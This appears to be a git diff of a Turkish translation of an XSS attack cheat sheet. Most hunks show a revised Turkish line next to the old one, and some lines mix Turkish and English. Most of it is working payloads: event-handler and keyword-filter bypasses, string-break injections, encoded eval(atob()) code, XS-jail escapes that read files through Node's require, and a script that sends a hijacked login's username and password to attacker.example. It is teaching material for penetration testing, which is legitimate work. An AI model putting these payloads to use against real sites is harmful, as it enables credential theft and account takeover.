Öncelikle faydalı **"on" event handlers** için bu sayfayı ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) kontrol edin.\
Eğer bazı blacklistler bu event handler'ları oluşturmanızı engelliyorsa, aşağıdaki bypass'ları deneyebilirsiniz:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -410,14 +407,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS 'Unexploitable tags' içinde (hidden input, link, canonical, meta)
### 'Unexploitable tags' içinde XSS (hidden input, link, canonical, meta)
[**Buradan**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık hidden inputs şu yöntemlerle kötüye kullanılabiliyor:**
Buradan [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **artık hidden inputs ile şu şekilde kötüye kullanılabiliyor:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
Ve **meta etiketlerinde**:
Ve **meta etiketleri**:
```html
<!-- Injection inside meta attribute-->
<meta
@ -431,15 +428,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Kaynak [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Bir **XSS payload hidden attribute içinde** çalıştırabilirsiniz; yeter ki **ikna edebilirseniz** **kurbanı** **tuş kombinasyonunu** basmaya. Firefox (Windows/Linux) için tuş kombinasyonu **ALT+SHIFT+X** ve OS X için **CTRL+ALT+X**'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirleyebilirsiniz. İşte vektör:
Kaynak: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): Bir **XSS payload inside a hidden attribute** çalıştırabilirsiniz; yeter ki **victim**i **key combination**'a basmaya ikna edebilin. Firefox (Windows/Linux) üzerinde tuş kombinasyonu **ALT+SHIFT+X**, OS X'te ise **CTRL+ALT+X**'dir. access key attribute içinde farklı bir tuş kullanarak farklı bir tuş kombinasyonu belirtebilirsiniz. İşte vektör:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS payload şu şekilde olacak: `" accesskey="x" onclick="alert(1)" x="`**
**XSS payload şu şekilde olacaktır: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Geri dönerek nerede kullanabileceğinizi öğrenin:
Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösterildi. Nerede kullanabileceğinizi öğrenmek için geri gidin:
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -449,19 +446,19 @@ Bu bölümde farklı encoding kullanılarak yapılan birkaç hile zaten gösteri
**Bypasses for HTML tags and attributes**
Önceki bölüme ait [ Blacklist Bypasses of the previous section](#blacklist-bypasses) kısmına bakın.
Bakınız: [ Blacklist Bypasses of the previous section](#blacklist-bypasses).
**Bypasses for JavaScript code**
Aşağıdaki bölümdeki [JavaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques) kısmını okuyun.
Bakınız: J[avaScript bypass blacklist of the following section](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Eğer web'in çok küçük bir kısmında etkileşim gerektiren bir **XSS** bulduysanız (ör. footer'da onmouseover içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o elementin kapladığı alanı **değiştirmeyi** deneyebilirsiniz.
Eğer web'in çok küçük bir kısmında **XSS bulduysanız** ve bir etkileşim gerekiyorsa (ör. footer'da onmouseover öğesi içeren küçük bir link), linkin tetiklenme ihtimalini maksimize etmek için o öğenin kapladığı alanı **değiştirmeyi** deneyebilirsiniz.
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Örneğin, elemente şu tarz bir stil ekleyebilirsiniz: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
Ancak WAF style attribute'u filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şunu bulursanız
Ancak WAF style attribute'ünü filtreliyorsa, CSS Styling Gadgets kullanabilirsiniz; örneğin şu CSS'leri bulursanız
> .test {display:block; color: blue; width: 100%\}
@ -477,19 +474,19 @@ Bu hile şu kaynaktan alınmıştır: [https://medium.com/@skavans\_/improving-t
## Injecting inside JavaScript code
Bu durumda **input**'ınız bir `.js` dosyasının JS kodu içinde veya `<script>...</script>` tagları arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya `javascript:` protokolünü kabul eden attributes arasında yansıtılacaktır.
Bu durumda **input**'ınız `.js` dosyasının içinde veya `<script>...</script>` etiketleri arasında ya da JS kodu çalıştırabilen HTML event'leri arasında veya `javascript:` protokolünü kabul eden attribute'ler arasında **yansıtılacaktır**.
### Escaping \<script> tag
Eğer kodunuz `<script> [...] var input = 'reflected data' [...] </script>` içine yansıtılıyorsa, kolayca **`</script>` kapanışını kaçırabilirsiniz:**
Eğer kodunuz `<script> [...] var input = 'reflected data' [...] </script>` içinde yansıtılıyorsa, kolayca **`<script>` kapanışını escape edebilirsiniz**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
Bu örnekte **tek tırnak işaretini bile kapatmadığımızı** unutmayın. Bunun nedeni, **HTML ayrıştırmasının önce tarayıcı tarafından yapılmasıdır**, bu işlem sayfa elemanlarının, script blokları dahil olmak üzere, tanımlanmasını içerir. Gömülü scriptleri anlamak ve çalıştırmak için JavaScript'in ayrıştırılması ancak daha sonra gerçekleştirilir.
### JS kodu içinde
Eğer `<>` filtreleniyorsa, girdinizin **bulunduğu yerde** string'i **escape ederek** yine de **herhangi bir JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir; çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:
Eğer `<>` temizleniyorsa, girdinizin bulunduğu yerde yine de **string'i escape etmek** ve **keyfi JS çalıştırmak** mümkün olabilir. JS sözdizimini **düzeltmek** önemlidir, çünkü herhangi bir hata olursa JS kodu çalıştırılmaz:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -497,25 +494,25 @@ Eğer `<>` filtreleniyorsa, girdinizin **bulunduğu yerde** string'i **escape ed
```
#### JS-in-JS string break → inject → repair pattern
Kullanıcı girdisi alıntılanmış bir JavaScript stringinin içine düştüğünde (ör. server-side echo into an inline script), stringi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:
Kullanıcı girdisi alıntılanmış bir JavaScript string'in içine düştüğünde (ör. server-side echo ile inline script içine), string'i sonlandırabilir, inject code yapabilir ve sözdizimini onararak parsing'in geçerli kalmasını sağlayabilirsiniz. Genel iskelet:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
Zafiyetli parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:
Zayıf parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:
```
?param=test";<INJECTION>;a="
```
Bu, HTML bağlamına dokunmaya gerek kalmadan saldırgan JS'in çalıştırılmasını sağlar (saf JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
Bu, HTML bağlamına dokunmadan (saf JS-in-JS) saldırgan JS çalıştırır. Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
### Template literals ``
Tekli ve çift tırnakların dışında **strings** oluşturmak için JS ayrıca **backticks** **` `` `** kabul eder. Bu, template literals olarak bilinir çünkü `${ ... }` sözdizimini kullanarak **embedded JS expressions**'e izin verir.\
Dolayısıyla, girdinizin backticks kullanan bir JS stringinin içinde **reflected** edildiğini görürseniz, `${ ... }` sözdizimini kötüye kullanarak **arbitrary JS code** çalıştırabilirsiniz:
Tek ve çift tırnakların yanı sıra **diziler** oluşturmak için JS ayrıca **backticks** **` `` `**'i kabul eder. Bu, `${ ... }` sözdizimiyle **gömülü JS ifadelerine** izin verdiği için template literals olarak bilinir.\
Bu nedenle, girdinizin backticks kullanan bir JS dizisi içinde **yansıtıldığını** görürseniz, `${ ... }` sözdizimini kötüye kullanarak **herhangi bir JS kodu** çalıştırabilirsiniz:
Bu, şu şekilde **kötüye kullanılabilir**:
Bu, şu şekilde **kötüye** kullanılabilir:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -527,21 +524,21 @@ return loop
}
loop``
```
### Kodun kodlanarak yürütülmesi
### Encoded code execution
```html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
#### eval(atob()) ve scope nüansları içeren teslim edilebilir payloads
#### eval(atob()) içeren ve scope nüanslarına sahip teslim edilebilir payload'lar
URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için gerçek mantığınızı base64 ile kodlayıp `eval(atob('...'))` ile çalıştırabilirsiniz. Basit anahtar kelime filtreleri `alert`, `eval` veya `atob` gibi identifier'ları engelliyorsa, tarayıcıda tamamen aynı şekilde derlenen ancak string-eşleştirme filtrelerinden kaçan Unicode-escaped identifiers kullanın:
URL'leri daha kısa tutmak ve basit anahtar kelime filtrelerini atlatmak için, gerçek mantığınızı base64 ile kodlayıp `eval(atob('...'))` ile değerlendirebilirsiniz. Eğer basit anahtar kelime filtreleri `alert`, `eval` veya `atob` gibi tanımlayıcıları engelliyorsa, tarayıcıda aynı şekilde derlenen ancak dize-eşleştirme filtrelerinden kaçan Unicode-escape edilmiş tanımlayıcıları kullanın:
```
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
```
Önemli kapsam nüansı: `const`/`let` ile `eval()` içinde bildirilenler blok kapsamlıdır ve global oluşturmaz; daha sonraki scriptlerden erişilemezler. Gerekli olduğunda global, non-rebindable hooks tanımlamak için dinamik olarak enjekte edilmiş bir `<script>` elementini kullanın (ör. bir form handler'ı hijack etmek için):
Önemli kapsam nüansı: `eval()` içinde tanımlanan `const`/`let` blok kapsamlıdır ve global oluşturmaz; sonraki script'lerden erişilemezler. Gerektiğinde global, yeniden bağlanamaz hook'ları tanımlamak için dinamik olarak enjekte edilmiş bir `<script>` elementi kullanın (ör. bir form işleyicisini ele geçirmek için):
```javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
@ -549,15 +546,15 @@ document.head.appendChild(s);
```
Referans: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
### Unicode ile JS yürütmeyi kodlama
### Unicode Kodlamasıyla JS yürütme
```javascript
alert(1)
alert(1)
alert(1)
```
### JavaScript blacklistleri atlatma teknikleri
### JavaScript bypass blacklists teknikleri
**Stringler**
**Strings**
```javascript
"thisisastring"
'thisisastrig'
@ -593,7 +590,7 @@ eval(8680439..toString(30))(983801..toString(36))
<TAB>
/**/
```
**JavaScript yorumları (kaynak:** [**JavaScript Comments**](#javascript-comments) **trick)**
**JavaScript comments (kaynak** [**JavaScript Comments**](#javascript-comments) **hile)**
```javascript
//This is a 1 line comment
/* This is a multiline comment*/
@ -601,7 +598,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript yeni satırlar (kaynak** [**JavaScript new line**](#javascript-new-lines) **hile)**
**JavaScript new lines (kaynak:** [**JavaScript new line**](#javascript-new-lines) **trick)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -716,7 +713,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Herhangi bir fonksiyon (alert) çağrısı**
**Keyfi fonksiyon (alert) çağrısı**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -776,47 +773,56 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **DOM zaafiyetleri**
## **DOM vulnerabilities**
There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
Saldırgan tarafından kontrol edilen verileri (örn. `location.href`) güvensiz şekilde kullanan **JS kodu** vardır. Bir saldırgan bunu kötüye kullanarak rastgele JS kodu çalıştırabilir.\
**Açıklamanın kapsamının genişliği nedeniyle** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
Orada **DOM vulnerabilities'in ne olduğu, nasıl tetiklendiği ve nasıl sömürüleceği** ile ilgili ayrıntılı bir açıklama bulacaksınız.\
Ayrıca, bahsedilen yazının sonunda [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) hakkında bir açıklama olduğunu unutmayın.
### Self-XSS'i Yükseltme
### Upgrading Self-XSS
### Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
Eğer payload'ı bir cookie içine göndererek XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'tir. Ancak, eğer XSS'e karşı **vulnerable subdomain** bulursanız, bu XSS'i tüm domain'e bir cookie enjekte etmek ve böylece ana domain veya diğer subdomain'lerde (cookie XSS'e duyarlı olanlarda) cookie XSS'i tetiklemek için kötüye kullanabilirsiniz. Bunun için cookie tossing attack'i kullanabilirsiniz:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
Bu tekniğin harika bir kötüye kullanımını [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) içinde bulabilirsiniz.
### Oturumunuzu admin'e gönderme
### Oturumunuzu admin'e göndermek
Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilindeyse ve admin buna erişirse, zafiyet tetiklenir.
### Session Mirroring
If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
Eğer bazı self XSS'ler bulursanız ve web sayfası yöneticiler için **session mirroring** sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip adminin, yardıma yardımcı olmak için sizin oturumunuzda gördüklerini kendi oturumundan görmesini sağlıyorsa — yöneticinin sizin self XSS'inizi tetiklemesini sağlayıp onun cookie'lerini/oturumunu çalabilirsiniz.
You could make the **administrator trigger your self XSS** and steal his cookies/session.
## Other Bypasses
### Bypassing sanitization via WASM linear-memory template overwrite
Bir web uygulaması Emscripten/WASM kullandığında, sabit stringler (HTML format stub'ları gibi) yazılabilir linear hafızada tutulur. Tek bir in‑WASM overflow (örn. edit yolundaki unchecked memcpy) bitişik yapıları bozup yazmaları bu sabitlere yönlendirebilir. "<article><p>%.*s</p></article>" gibi bir template'i "<img src=1 onerror=%.*s>" ile overwrite etmek, sanitize edilmiş girdiyi bir JavaScript handler değeri haline çevirir ve render sırasında anında DOM XSS'e yol açar.
İstismar iş akışı, DevTools bellek yardımcıları ve savunmalar ile ilgili ayrıntılar için ayrılmış sayfaya bakın:
{{#ref}}
wasm-linear-memory-template-overwrite-xss.md
{{#endref}}
## Diğer Bypass'lar
### Normalised Unicode
You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
Yansıtılan değerlerin sunucuda (veya istemci tarafında) **unicode normalized** edilip edilmediğini kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
@ -824,16 +830,16 @@ You could check is the **reflected values** are being **unicode normalized** in
```
### Ruby-On-Rails bypass
**RoR mass assignment** nedeniyle tırnak işaretleri HTML'e eklenir ve tırnak sınırlaması atlanır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
**RoR mass assignment** nedeniyle tırnaklar HTML'e eklenir ve tırnak kısıtlaması atlatılır; ek alanlar (onfocus) etiketin içine eklenebilir.\
Form örneği ([from this report](https://hackerone.com/reports/709336)), eğer payload'u gönderirseniz:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
"Key","Value" çifti şöyle geri yansıtılacaktır:
Çift "Key","Value" şöyle geri döndürülecek:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Sonra, onfocus özniteliği eklenecek ve XSS oluşur.
Sonra onfocus özniteliği eklenecek ve XSS gerçekleşir.
### Özel kombinasyonlar
```html
@ -865,24 +871,24 @@ Sonra, onfocus özniteliği eklenecek ve XSS oluşur.
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
```
### 302 yanıtında header injection ile XSS
### 302 response içinde header injection ile XSS
Eğer **inject headers in a 302 Redirect response** yapabildiğinizi görürseniz, tarayıcının rastgele JavaScript’i çalıştırmasını **make the browser execute arbitrary JavaScript** denemelisiniz. Bu **not trivial** çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden sadece bir cross-site scripting payload’u genelde işe yaramaz.
Eğer bir 302 Redirect response içine **inject headers** yapabildiğinizi fark ederseniz, browser'ın arbitrary JavaScript çalıştırmasını sağlamayı deneyebilirsiniz. Bu **trivial** değil çünkü modern tarayıcılar HTTP response status kodu 302 ise HTTP response body'sini yorumlamaz, bu yüzden sadece cross-site scripting payload işe yaramaz.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) bu kaynaklarda Location header içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin gövde içindeki XSS payload’unu tarayıcının inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
Geçmişte bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
### Yalnız Harfler, Rakamlar ve Noktalar
### Sadece Harfler, Rakamlar ve Noktalar
Eğer javascript’in **execute** edeceği **callback**’i bu karakterlerle sınırlı olarak belirleyebiliyorsanız. Bu davranışı nasıl suistimal edeceğinizi öğrenmek için [**Read this section of this post**](#javascript-function) bölümünü okuyun.
Eğer javascript'in execute edeceği **callback**'i bu karakterlerle (harfler, rakamlar ve noktalar) sınırlı olacak şekilde belirleyebiliyorsanız. Bu davranışı nasıl kötüye kullanacağınızı öğrenmek için [**bu yazının bu bölümünü okuyun**](#javascript-function).
### Valid `<script>` Content-Types to XSS
### XSS için Geçerli `<script>` Content-Type'ları
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **content-type** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı fırlatacaktır:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **content-type** ile bir script yüklemeye çalışırsanız, Chrome şu hatayı verir:
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Chrome’un bir **loaded script**’i çalıştırmasına izin verecek tek **Content-Type**lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki const **`kSupportedJavascriptTypes`** içinde yer alanlardır.
Chrome'un bir **loaded script** çalıştırmasını destekleyecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki const **`kSupportedJavascriptTypes`** içinde yer alanlardır.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -904,14 +910,16 @@ const char* const kSupportedJavascriptTypes[] = {
};
```
### Script Types to XSS
### XSS için Script Türleri
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
(Kaynak: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi tipler belirtilebilir?
```html
<script type="???"></script>
```
Cevap:
- **module** (varsayılan, açıklamaya gerek yok)
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) **`.wbn`** dosyası halinde paketleyebileceğiniz bir özelliktir.
- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) birlikte **`.wbn`** dosyası halinde paketlemenizi sağlayan bir özelliktir.
```html
<script type="webbundle">
{
@ -921,7 +929,7 @@ const char* const kSupportedJavascriptTypes[] = {
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
```
- [**importmap**](https://github.com/WICG/import-maps)**:** İçe aktarma sözdizimini geliştirmeye olanak tanır
- [**importmap**](https://github.com/WICG/import-maps)**:** import sözdizimini geliştirmeye olanak tanır
```html
<script type="importmap">
{
@ -938,9 +946,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Bu davranış, bir kütüphaneyi eval'e yeniden eşleyerek suistimal etmek ve böylece XSS tetiklemek için [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) içinde kullanıldı.
Bu davranış [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) kullanılarak bir kütüphaneyi eval'e yeniden eşlemek ve bunu kötüye kullanarak XSS tetiklemek için kullanıldı.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik esas olarak pre-rendering'in yol açtığı bazı sorunları çözmek için tasarlanmıştır. İşleyişi şöyle:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik önceden render edilmenin neden olduğu bazı problemleri çözmek için geliştirilmiştir. Şöyle çalışır:
```html
<script type="speculationrules">
{
@ -958,7 +966,7 @@ Bu davranış, bir kütüphaneyi eval'e yeniden eşleyerek suistimal etmek ve b
```
### Web Content-Types ile XSS
(Kaynak: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aşağıdaki Content-Types tüm tarayıcılarda XSS çalıştırabilir:
(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Aşağıdaki content types tüm tarayıcılarda XSS çalıştırabilir:
- text/html
- application/xhtml+xml
@ -969,11 +977,11 @@ Bu davranış, bir kütüphaneyi eval'e yeniden eşleyerek suistimal etmek ve b
- application/rss+xml (off)
- application/atom+xml (off)
Diğer tarayıcılarda diğer **`Content-Types`** rastgele JS yürütmek için kullanılabilir, bak: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Diğer tarayıcılarda başka **`Content-Types`** keyfi JS çalıştırmak için kullanılabilir, bkz: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
### xml İçerik Türü
Eğer sayfa text/xml content-type ile döndürülüyorsa bir namespace belirtilip rastgele JS çalıştırmak mümkündür:
Eğer sayfa text/xml content-type döndürüyorsa, bir namespace belirterek keyfi JS çalıştırmak mümkün:
```xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@ -981,11 +989,11 @@ Eğer sayfa text/xml content-type ile döndürülüyorsa bir namespace belirtili
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
```
### Özel Değiştirme Kalıpları
### Özel Değiştirme Desenleri
Bir şey şu şekilde kullanıldığında **`"some {{template}} data".replace("{{template}}", <user_input>)`**, saldırgan bazı korumaları atlatmak için [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Aşağıdakine benzer bir şey kullanıldığında: **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Saldırgan bazı korumaları atlatmak için [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Örneğin [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) içinde, bu bir script içinde **scape a JSON string** yapmak ve execute arbitrary code için kullanıldı.
Örneğin [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), bu bir script içinde JSON string'ini escape etmek ve keyfi kod çalıştırmak için kullanıldı.
### Chrome Cache to XSS
@ -996,7 +1004,7 @@ chrome-cache-to-xss.md
### XS Jails Escape
Sadece sınırlı sayıda karakter (chars) kullanabiliyorsanız, XSJail problems için aşağıdaki diğer geçerli çözümlere göz atın:
Eğer kullanabileceğiniz karakterler sınırlıysa, XSJail problemleri için bu diğer geçerli çözümlere bakın:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1027,22 +1035,22 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Eğer güvenilmeyen kodu çalıştırmadan önce **her şey undefined** ise (ör. [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için faydalı nesneleri "hiçten" üretmek mümkün olabilir:
Eğer, güvenilmeyen kod yürütülmeden önce **everything is undefined** ise (ör. [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), herhangi bir güvenilmeyen kodun yürütülmesini suistimal etmek için yararlı nesneleri "hiçten" oluşturmak mümkün olur:
- import() kullanarak
- import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- `require`'e dolaylı erişim
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından aşağıdaki gibi bir fonksiyon içine sarılır:
[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içinde sarılır, şöyle:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
```
Bu nedenle, eğer o modülden **başka bir fonksiyonu çağırabiliyorsak**, o fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'e erişmek mümkündür:
Dolayısıyla, eğer o modülden **başka bir fonksiyonu çağırabiliyorsak**, bu fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'e erişmek mümkündür:
```javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
@ -1051,7 +1059,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
Önceki örneğe benzer şekilde, modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak için **use error handlers** kullanmak mümkündür:
